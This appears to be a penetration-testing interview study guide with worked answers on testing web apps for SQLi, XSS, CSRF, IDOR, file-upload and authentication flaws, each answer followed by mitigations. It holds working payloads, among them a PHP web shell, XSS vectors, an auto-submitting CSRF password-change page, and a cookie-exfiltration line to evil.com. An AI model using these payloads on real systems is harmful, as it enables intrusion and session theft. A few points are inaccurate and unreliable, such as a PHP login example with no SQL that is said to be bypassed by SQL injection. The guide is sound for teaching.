SET 1

**Q1. How would you manually test for an SQL Injection vulnerability in a web application’s input fields (e.g., login forms, search fields)?**

SQL Injection (SQLi) occurs when an attacker can manipulate SQL queries by injecting malicious SQL code into an application's database query. Here’s how you can manually test for SQL Injection:

**1. Identify Input Fields:**

* Locate user input fields such as **login forms, search bars, signup fields, contact forms, or URL parameters** that interact with a database.

**2. Test with Basic SQL Injection Payloads:**

* Start by entering a **single quote (')** in the input field and observe the response.
* Example input:
  + '
* If the application throws an **SQL syntax error**, it indicates that the input is being directly used in an SQL query.

**3. Test for Authentication Bypass (Login Forms):**

* Enter common SQL injection payloads in login fields:
  + ' OR 1=1 --
  + ' OR '1'='1' --
* If this logs you in without valid credentials, the application is vulnerable.

**4. Test for Error-Based SQL Injection:**

* Use inputs that deliberately cause SQL errors:
  + ' UNION SELECT 1,2,3 --
  + ' ORDER BY 1 --
* If the error message reveals database structure details, the application is vulnerable.

**5. Test for Blind SQL Injection:**

* Since some applications do not return database errors, use time-based payloads:
  + ' OR SLEEP(5) --
* If the response takes longer than usual, the database is executing the injected query.

**6. Use Boolean-Based SQL Injection:**

* Try:
  + ' AND 1=1 --
  + ' AND 1=0 --
* If the first input returns normal output and the second does not, it confirms SQL injection.

**7. Examine Network Traffic (Burp Suite, Intercepted Requests):**

* Use **Burp Suite** to intercept and modify requests.
* Look for **URL parameters** that can be exploited.

**8. Test for Advanced SQL Injection (Database-Specific Payloads):**

* **MySQL**:
  + ' UNION SELECT user(), database(), version() --
* **PostgreSQL**:
  + ' UNION SELECT current\_user, version() --

**9. Analyze Responses:**

* Look for database errors, login bypass, unexpected behavior, or slow responses.
* A vulnerable application may **reveal database structure**, allow **unauthorized access**, or enable **data extraction**.

**Mitigation:**

* Use **prepared statements** and **parameterized queries**.
* Implement **input validation and escaping**.
* Use **web application firewalls (WAFs)** to detect and block malicious requests.

**Q2. During a vulnerability assessment, you identify an endpoint that doesn’t enforce HTTPS. What would be your next steps to assess the impact of this issue?**

Not enforcing **HTTPS** (Hypertext Transfer Protocol Secure) exposes sensitive data to **man-in-the-middle (MITM) attacks**, eavesdropping, and session hijacking. Here’s how to assess the impact:

**1. Identify Affected Endpoints:**

* Use **Burp Suite**, **Wireshark**, or browser developer tools to check network requests.
* Look for HTTP URLs instead of HTTPS in **login pages, payment pages, API endpoints, and sensitive data transmissions**.

**2. Intercept Traffic Using a Proxy:**

* Use **Burp Suite** or **MITMproxy** to intercept HTTP traffic.
* Check if **cookies, session tokens, credentials, or API keys** are transmitted over HTTP.

**3. Test for Downgrade Attacks:**

* Try accessing the HTTPS version (https://example.com).
* If the server does not **redirect HTTP to HTTPS**, the application is vulnerable to **SSL stripping attacks**.

**4. Check Authentication & Session Security:**

* If authentication pages use HTTP, credentials are exposed to sniffing.
* Test if **session cookies** are marked as **Secure** and **HttpOnly**:
  + curl -I http://example.com
    - Look for the Set-Cookie header:
    - Set-Cookie: sessionid=abc123; Secure; HttpOnly
    - If Secure is missing, the cookie can be transmitted over HTTP.

**5. Test for Mixed Content Issues:**

* Open the **browser console (F12 → Console)** and check for warnings about mixed content.
* If sensitive content is loaded over HTTP while the page uses HTTPS, an attacker can modify it.

**6. Simulate a Man-in-the-Middle Attack (Ethical Testing Only):**

* Set up a Wi-Fi hotspot and capture traffic using **Wireshark**.
* If you can see login credentials or sensitive data, the site is vulnerable.

**7. Assess the Risk Based on Data Exposure:**

* If **passwords, payment data, or API keys** are transmitted over HTTP, **critical risk**.
* If **non-sensitive data** (e.g., images) is loaded over HTTP, it’s a **medium-risk issue**.

**Mitigation:**

* **Enforce HTTPS using HSTS** (Strict Transport Security):
  + Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
* **Redirect all HTTP requests to HTTPS**.
* **Use strong TLS configurations** (disable TLS 1.0 and 1.1, enable TLS 1.2+).
* **Ensure Secure Cookies and Proper Authentication Handling**.

SET 2

**Q1. While performing a penetration test, you encounter a file upload functionality. What steps would you take to assess the security of this feature?**

A file upload functionality can be a significant security risk if not properly secured. Attackers can upload **malicious scripts**, bypass security controls, or execute **remote code execution (RCE)**. Here’s how to test its security:

**1. Identify Allowed File Types:**

* Attempt to upload various file types (**.jpg, .png, .gif, .php, .exe, .html, .js, .zip, .txt**).
* If it accepts **executable files** (e.g., .php, .exe), it may allow **arbitrary code execution**.
* If only images are allowed, check if it actually validates content or just the file extension.

**2. Bypass Extension Restrictions:**

* Rename a .php file to .jpg, .php3, or .phps to see if the server executes it.
* Use **double extensions**:
  + shell.php.jpg
* Try **null-byte injection** (%00) to bypass extension checks:
  + shell.php%00.jpg

**3. Inspect MIME Type Handling:**

* Modify the **Content-Type** header using **Burp Suite**:
  + Content-Type: image/jpeg
    - Upload a .php file while modifying the MIME type to bypass validation.

**4. Test for Remote Code Execution (RCE):**

* If the server executes uploaded files, try uploading a **web shell** (e.g., PHP reverse shell).

<?php

system($\_GET['cmd']);

?>

* Then, execute commands by accessing:
  + http://example.com/uploads/shell.php?cmd=id

**5. Directory Traversal and Path Manipulation:**

* If the server allows specifying an upload path, attempt directory traversal:
  + ../../../../var/www/html/shell.php
* Upload a .htaccess file to enable execution of .txt or .jpg files as PHP.

**6. Check for Unrestricted Access to Uploaded Files:**

* If uploaded files are publicly accessible (e.g., http://example.com/uploads/myfile.php), it increases the risk of remote code execution.

**7. Test for Overwriting Files:**

* Try uploading a file with the same name as an existing file to check if it **overwrites critical files** (e.g., .htaccess, index.php).

**Mitigation:**

* Restrict file types to **safe formats** (e.g., .jpg, .png, .pdf).
* Validate file extensions **AND** MIME types.
* Store uploaded files **outside the web root** to prevent direct execution.
* Implement a **strong access control mechanism**.

**Q2. How do you test for authentication bypass in a web application (e.g., by manipulating parameters, cookies, or headers)? Provide an example.**

Authentication bypass occurs when an attacker gains **unauthorized access** to a system by exploiting weak authentication mechanisms. Here’s how to test for it:

**1. Test for Weak Login Mechanisms:**

* Enter **default credentials** like admin:admin, root:root, or guest:guest.
* Try **blank passwords** or commonly used ones (password123, qwerty).
* Use SQL Injection in login forms:
  + ' OR 1=1 --

**2. Manipulate HTTP Parameters (Insecure Direct Object References - IDOR):**

* Look for URLs containing **user IDs or session tokens**:
  + https://example.com/profile?id=123
* Change the id parameter (id=124) to access another user’s data.

**3. Cookie Manipulation:**

* Check session cookies (sessionid=abc123).
* Try modifying them to another value (sessionid=xyz789) to see if another user's account is accessible.

**4. Check for Missing Authentication on Critical Pages:**

* Visit admin URLs **directly**:
  + https://example.com/admin
* If accessible without logging in, authentication is missing.

**5. Inspect Headers for Weak Authorization Mechanisms:**

* Modify the **Authorization** header using Burp Suite:
  + Authorization: Bearer abc123
    - Try using **another user’s token** or removing the header completely.

**Example: Authentication Bypass in a Login Form**

**Scenario:**

A login form checks authentication like this:

if ($\_POST['username'] == 'admin' && $\_POST['password'] == 'password') {

$\_SESSION['authenticated'] = true;

}

**Bypass Technique:**

Enter the following in the username field:

admin' --

The SQL query becomes:

SELECT \* FROM users WHERE username = 'admin' --' AND password = 'password';

The -- comments out the password check, logging in as **admin** without a password.

**Mitigation:**

* **Use proper authentication mechanisms (OAuth, JWT, Multi-Factor Authentication).**
* **Hash passwords with bcrypt, Argon2, or PBKDF2.**
* **Implement secure session management with HttpOnly and Secure flags.**

SET 3

Here are detailed answers to the next two questions:

**Q1. You are testing a web application and discover that it allows reflective Cross-Site Scripting (XSS). How would you confirm its exploitability, and what payloads would you test?**

**1. Understand Reflective XSS:**

Reflective XSS occurs when unvalidated user input is reflected in a webpage and executed in the victim’s browser. The attack is often executed via URL parameters or form submissions.

**2. Identify XSS Injection Points:**

* **Search boxes**
* **Login forms**
* **Comment sections**
* **URL parameters** (e.g., https://example.com/search?q=hello)

**3. Test with Basic XSS Payloads:**

* Enter the following in input fields or URL parameters:
  + <script>alert("XSS")</script>

If an alert box appears, the application is vulnerable.

* Other variations:
  + <img src=x onerror=alert(1)>
  + <svg onload=alert(1)>
  + <iframe src="javascript:alert(1)">
  + <a href="javascript:alert('XSS')">Click me</a>

**4. Bypass Filters:**

Some applications sanitize certain characters like <script>. To bypass this:

* **Use case variations:**
  + <ScRiPt>alert(1)</ScRiPt>
* **Event handlers in HTML elements:**
  + <body onload=alert(1)>
  + <input type="text" onfocus=alert(1) autofocus>
* **URL Encoding:**
  + %3Cscript%3Ealert(1)%3C/script%3E

**5. Stealing Cookies (Advanced Attack):**

If document.cookie is accessible, you can exfiltrate session cookies:

<script>fetch('http://evil.com/steal.php?cookie='+document.cookie)</script>

**Mitigation:**

* **Use Content Security Policy (CSP)** to prevent script execution.
* **Sanitize input** using libraries like DOMPurify.
* **Escape special characters** using HTML encoding (< → &lt;, > → &gt;).

**Q2. You find a forgotten admin page that is publicly accessible during a penetration test. What steps would you take to investigate this further and test for possible vulnerabilities?**

**1. Verify Admin Page Access:**

* Check if authentication is required:
  + https://example.com/admin
  + https://example.com/secure/admin
* If the page loads without authentication, it is **a serious security flaw**.

**2. Check for Default Credentials:**

* Try common admin logins:
  + admin:admin
  + root:root
  + administrator:password
* Check for hardcoded credentials in **robots.txt** or **source code**.

**3. Test for SQL Injection in Login Forms:**

* Enter SQL injection payloads:
  + ' OR 1=1 --
  + " OR "1"="1
  + admin' #
* If authentication bypass is successful, the database is vulnerable.

**4. Check for Directory Listing & File Access:**

* Try accessing:
  + https://example.com/admin/config.php
  + https://example.com/admin/backup.sql
* If configuration files are exposed, attackers can extract **database credentials**.

**5. Check for Weak Session Management:**

* Log in and inspect cookies:
  + sessionid=abcd1234
* Modify session values to escalate privileges.

**6. Test for Command Injection (if applicable):**

* If the admin panel has a **command execution feature**, inject:
  + ; ls -la
  + && whoami

**Mitigation:**

* **Restrict access** using IP whitelisting or VPN.
* **Enforce strong authentication** (MFA, password policies).
* **Remove unused admin pages** or restrict them in robots.txt.

SET 4

Here are detailed answers to the next two questions:

**Q1. During a web application assessment, you discover an exposed API endpoint with no authentication. How would you test for potential security risks in this endpoint?**

**1. Identify API Endpoints**

* Use **Burp Suite**, **Postman**, or browser DevTools to inspect network requests.
* Common API endpoints:
  + https://example.com/api/users
  + https://example.com/api/admin

**2. Test for Information Disclosure**

* Try accessing the API without authentication:
  + curl -X GET https://example.com/api/users
* If the API returns **user data, emails, or admin credentials**, it is vulnerable.

**3. Test for Unauthenticated Data Modification**

* If POST or PUT requests are allowed, try modifying data:

{

"user\_id": "1",

"role": "admin"

}

* If the API updates user roles **without authentication**, this is a critical vulnerability.

**4. Check for Insecure Direct Object References (IDOR)**

* Change an ID in a request to access another user’s data:
  + GET /api/orders?user\_id=1001
* If you can view other users’ orders, the API is vulnerable to IDOR.

**5. Test for Rate Limiting Bypass**

* Send multiple API requests rapidly:
  + for i in {1..100}; do curl -X GET https://example.com/api/users/$i; done
* If no rate limiting is enforced, attackers can **brute force** data.

**6. Test for Injection Attacks**

* SQL Injection:
  + GET /api/users?id=1' OR '1'='1
* Command Injection:
  + POST /api/run-command

{ "cmd": "ls -la" }

* If the API executes unintended commands, it is critically vulnerable.

**Mitigation:**

* **Enforce authentication** (JWT, OAuth, API keys).
* **Implement role-based access control (RBAC)**.
* **Validate and sanitize input** to prevent injection attacks.
* **Apply rate limiting** to prevent brute force attacks.

**Q2. How would you test for Cross-Site Request Forgery (CSRF) vulnerabilities in a form submission process that involves sensitive actions (e.g., password change)?**

**1. Understand CSRF Attacks**

CSRF occurs when an attacker tricks a user into **executing an unintended action** by embedding a malicious request within an authenticated session.

**2. Identify Vulnerable Forms**

* Look for forms performing **sensitive actions** like:
  + Password change
  + Email update
  + Fund transfer
* Example request:

POST /change-password

Content-Type: application/x-www-form-urlencoded

old\_password=12345&new\_password=hacked

**3. Create a Malicious CSRF Exploit Page**

If there is **no CSRF token**, an attacker can craft an exploit:

<html>

<body>

<form action="https://example.com/change-password" method="POST">

<input type="hidden" name="new\_password" value="hacked123">

<input type="hidden" name="confirm\_password" value="hacked123">

<input type="submit" value="Click Me">

</form>

<script>document.forms[0].submit();</script>

</body>

</html>

* If the victim is **logged into the target site**, their password will be changed without consent.

**4. Check if CSRF Tokens are Implemented**

* Inspect the request headers for CSRF tokens:
  + X-CSRF-Token: abcd1234
* If missing, the application is vulnerable.

**5. Test for SameSite Cookie Policy**

* Check if the session cookie has SameSite=Strict or SameSite=Lax.
* If SameSite=None, cookies can be **sent in cross-origin requests**, making CSRF possible.

**Mitigation:**

* **Use CSRF tokens** in all form submissions.
* **Implement the SameSite cookie attribute** to prevent cross-origin requests.
* **Use Referer and Origin headers** to verify request sources.

SET 5

**Q1. You detect insecure Direct Object References (IDOR) on a web application where users can access other users' data. How would you test this vulnerability for different types of resources (e.g., files, database records)?**

**1. Understanding IDOR**

IDOR occurs when an application **does not properly enforce authorization**, allowing users to access or modify data **belonging to other users** by simply changing an identifier (e.g., user ID, order ID, file name).

**2. Identify Endpoints Susceptible to IDOR**

* Inspect API requests or URLs that use **incremental identifiers**:
  + GET /user/profile?user\_id=123
  + GET /order/details?order\_id=456
* Try **modifying the ID** to access another user's data:
  + GET /user/profile?user\_id=124
* If you can view or modify another user’s data, it is vulnerable to IDOR.

**3. Testing for IDOR in Different Scenarios**

1. **User Profile Access:**
   * Can user **A** view user **B’s** profile?
   * Example test:
     1. GET /profile?user\_id=1001 (Own profile)
     2. GET /profile?user\_id=1002 (Other user's profile)
2. **Order Details:**
   * Can user **A** access another user’s order details?
     1. GET /order/details?order\_id=789
3. **File Access:**
   * Can a user access another user’s private files by guessing the file name?
     1. GET /uploads/invoices/1001.pdf
     2. GET /uploads/invoices/1002.pdf

**4. Check for Authorization Enforcement**

* If the response contains **sensitive data** (e.g., emails, addresses, financial details) without permission, IDOR exists.

**5. Exploit IDOR for Data Modification**

* If the app allows updating user data:

POST /user/update

{

"user\_id": "1002",

"email": "hacked@example.com"

}

* If another user’s email is changed, **IDOR leads to account takeover**.

**Mitigation:**

* **Implement proper access controls** (RBAC, ACL).
* **Use session-based authentication** instead of relying on user-supplied IDs.
* **Deny direct object references** by using **UUIDs instead of incremental IDs**.
* **Verify ownership of resources** before processing requests.

**Q2. You notice that a web application stores sensitive information in the URL (e.g., session ID or personal data). How would you assess the risk and potential for data leakage?**

**1. Understanding the Risk**

* Storing **sensitive data in URLs** (e.g., session tokens, authentication tokens, personal identifiers) can lead to:
  + **Exposure in browser history**
  + **Logging in web servers**
  + **Referrer header leaks**

**2. Identify Sensitive Data in URLs**

Look for sensitive parameters in URLs:

https://example.com/profile?session\_id=abc123

https://example.com/payment?cc=4111111111111111

https://example.com/reset-password?token=xyz789

If the **session ID, credit card number, or password reset token** is exposed in the URL, it is a serious security risk.

**3. Test for Data Exposure in Logs**

* Check **browser history**:
  + If you revisit the URL and remain logged in, **session hijacking is possible**.
* Check **server logs** (/var/log/access.log):
  + 192.168.1.10 - - [28/Jan/2025:10:00:00] "GET /profile?session\_id=abc123" 200 -
  + If logs contain session IDs, **attackers with log access can hijack sessions**.

**4. Test for Referrer Header Leaks**

* When clicking links from the app, inspect **Referrer Headers**:
  + Referer: https://example.com/dashboard?session\_id=abc123
  + If an external site receives this header, **session hijacking is possible**.

**5. Assess Impact on Security Controls**

* **Session Fixation**: If session tokens persist after logout, attackers can reuse stolen tokens.
* **MITM Attacks**: If URLs with sensitive data are logged in proxy servers, attackers can extract them.

**Mitigation:**

* **Never pass sensitive data in URLs**. Use **POST requests with secure headers** instead.
* **Use HTTP-only session cookies** instead of URL parameters.
* **Implement CSRF protection** to prevent session fixation attacks.
* **Enforce HTTPS** to prevent man-in-the-middle attacks.